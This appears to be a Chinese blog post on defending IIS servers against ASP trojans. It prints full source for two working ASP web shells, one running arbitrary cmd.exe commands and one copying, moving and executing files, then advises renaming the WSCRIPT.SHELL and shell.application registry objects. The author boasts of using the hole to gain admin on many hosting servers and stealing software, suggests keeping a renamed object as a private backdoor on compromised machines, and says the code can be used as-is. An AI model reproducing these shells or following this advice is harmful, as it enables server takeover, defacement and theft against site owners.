防范ASP木马

 防范ASP木马

  随着ASP技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。

  下面我结合个人的经验,谈一下对两款比较典型的ASP木马的防范方法,希望对大家能够有所帮助。

  以下是第一款木马的代码:

  <title>ASPShell</title>

  <%@Language=VBScript%>

  <%

  DimoScript

  DimoScriptNet

  DimoFileSys,oFile

  DimszCMD,szTempFile

  OnErrorResumeNext

  '--createtheCOMobjectsthatwewillbeusing--'

  SetoScript=Server.CreateObject("WSCRIPT.SHELL")

  SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")

  SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")

  '--checkforacommandthatwehaveposted--'

  szCMD=Request.Form(".CMD")

  If(szCMD<>"")Then

  '--Useapoorman'spipe...atempfile--'

  szTempFile="C:/"&oFileSys.GetTempName()

  CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)

  SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)

  EndIf

  %>

  <HTML>

  <BODY>

  <FORMaction="<%=Request.ServerVariables("URL")%>"method="POST">

  <inputtype=textname=".CMD"size=45value="<%=szCMD%>">

  <inputtype=submitvalue="执行命令">

  </FORM>

  <PRE>

  <%

  If(IsObject(oFile))Then

  '--Readtheoutputfromourcommandandremovethetempfile--'

  OnErrorResumeNext

  Response.WriteServer.HTMLEncode(oFile.ReadAll)

  oFile.Close

  CalloFileSys.DeleteFile(szTempFile,True)

  EndIf

  %>

  </BODY>

  </HTML>

  运行后如下图:

  在命令行里输入DIR命令点执行就可以查看目录了!!它可以使用各种DOS命令,如:copy、net、netstat等。

  但是它的默认执行权限只有GUEST,也就是IUSR_COMPUTER用户的执行权限。当然如果你把IUSR_COMPUTER用户加入管理员组,那么你就有管理员权限了。

  这一款木马的特点是,使用很方便。几乎就想当于DOS命令行窗口操作一样。但是如果服务器限制了FSO(无组件上传),那么它是没有办法使用了。还有就是在服务器以后增加的虚拟主机里也没有办法使用。只能在“默认Web站点”里使用,所以它相对的适用范围较窄。

  对于防范方法让我们看一下它的代码就知道了:

  SetoScript=Server.CreateObject("WSCRIPT.SHELL")"建立了一个名为oScript的WSCRIPT.SHELL对象,用于命令的执行"

  SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")

  SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")

  上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象,我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图:

  值得注意的是:我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下:SetoScript=Server.CreateObject("WSCRIPT.SHELL.1")这个后门木马就又可以执行了。

  大家可能已经想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时,一定要不容易被黑客们猜到,因为例如:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成:SetoScript=Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务,设置才会有效。

  接下来让我们再来看下一款ASP后门木马程序的代码:

  <%response.write"<fontsize=6color=red>一次只能执行一个操作</font>"%>

  <%response.writenow()%><BR>程序所在的物理路径:

  <%response.writerequest.servervariables("APPL_PHYSICAL_PATH")%>

  <html>

  <title>asp'sshell.applicationbackdoor</title>

  <body>

  <formaction="<%=Request.ServerVariables("URL")%>"method="POST">

  <inputtype=textname=textvalue="<%=szCMD%>">输入要浏览的目录

  <inputtype=textname=text1value="<%=szCMD1%>">

  copy

  <inputtype=textname=text2value="<%=szCMD2%>">

  <inputtype=textname=text3value="<%=szCMD3%>">

  move

  <inputtype=textname=text4value="<%=szCMD4%>">

  路径:<inputtype=textname=text5value="<%=szCMD5%>">

  程序:<inputtype=textname=text6value="<%=szCMD6%>">

  <inputtype=submitname=sbvalue=发送命令>

  </form>

  </body>

  </html>

  <%

  szCMD=Request.Form("text")'目录浏览

  if(szCMD<>"")then

  setshell=server.createobject("shell.application")'建立shell对象

  setfod1=shell.namespace(szcmd)

  setfoditems=fod1.items

  foreachcoinfoditems

  response.write"<fontcolor=red>"&co.path&"-----"&co.size&"</font>

  "

  next

  endif

  %>

  <%

  szCMD1=Request.Form("text1")'目录拷贝,不能进行文件拷贝

  szCMD2=Request.Form("text2")

  ifszcmd1<>""andszcmd2<>""then

  setshell1=server.createobject("shell.application")'建立shell对象

  setfod1=shell1.namespace(szcmd2)

  fori=len(szcmd1)to1step-1

  ifmid(szcmd1,i,1)="/"then

  path=left(szcmd1,i-1)

  exitfor

  endif

  next

  iflen(path)=2thenpath=path&"/"

  path2=right(szcmd1,len(szcmd1)-i)

  setfod2=shell1.namespace(path)

  setfoditem=fod2.parsename(path2)

  fod1.copyherefoditem

  response.write"commandcompletedsuccess!"

  endif

  %>

  <%

  szCMD3=Request.Form("text3")'目录移动

  szCMD4=Request.Form("text4")

  ifszcmd3<>""andszcmd4<>""then

  setshell2=server.createobject("shell.application")'建立shell对象

  setfod1=shell2.namespace(szcmd4)

  fori=len(szcmd3)to1step-1

  ifmid(szcmd3,i,1)="/"then

  path=left(szcmd3,i-1)

  exitfor

  endif

  next

  iflen(path)=2thenpath=path&"/"

  path2=right(szcmd3,len(szcmd3)-i)

  setfod2=shell2.namespace(path)

  setfoditem=fod2.parsename(path2)

  fod1.moveherefoditem

  response.write"commandcompletedsuccess!"

  endif

  %>

  <%

  szCMD5=Request.Form("text5")'执行程序要指定路径

  szCMD6=Request.Form("text6")

  ifszcmd5<>""andszcmd6<>""then

  setshell3=server.createobject("shell.application")'建立shell对象

  shell3.namespace(szcmd5).items.item(szcmd6).invokeverb

  response.write"commandcompletedsuccess!"

  endif

  %>

  执行后如下图:

  要查看目录,只要输入相应的目录,点发送命令就可以了。如下图:

  这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。

  最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。

  然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。

  言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:setshell=server.createobject("shell.application"),跟刚才的方法一样,如下图:

  我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。

  最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些,但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)

  其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。

  注:以上代码复制保存为ASP文件就可以直接使用了。(仅用于测试,不要搞破坏,后果自负!)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值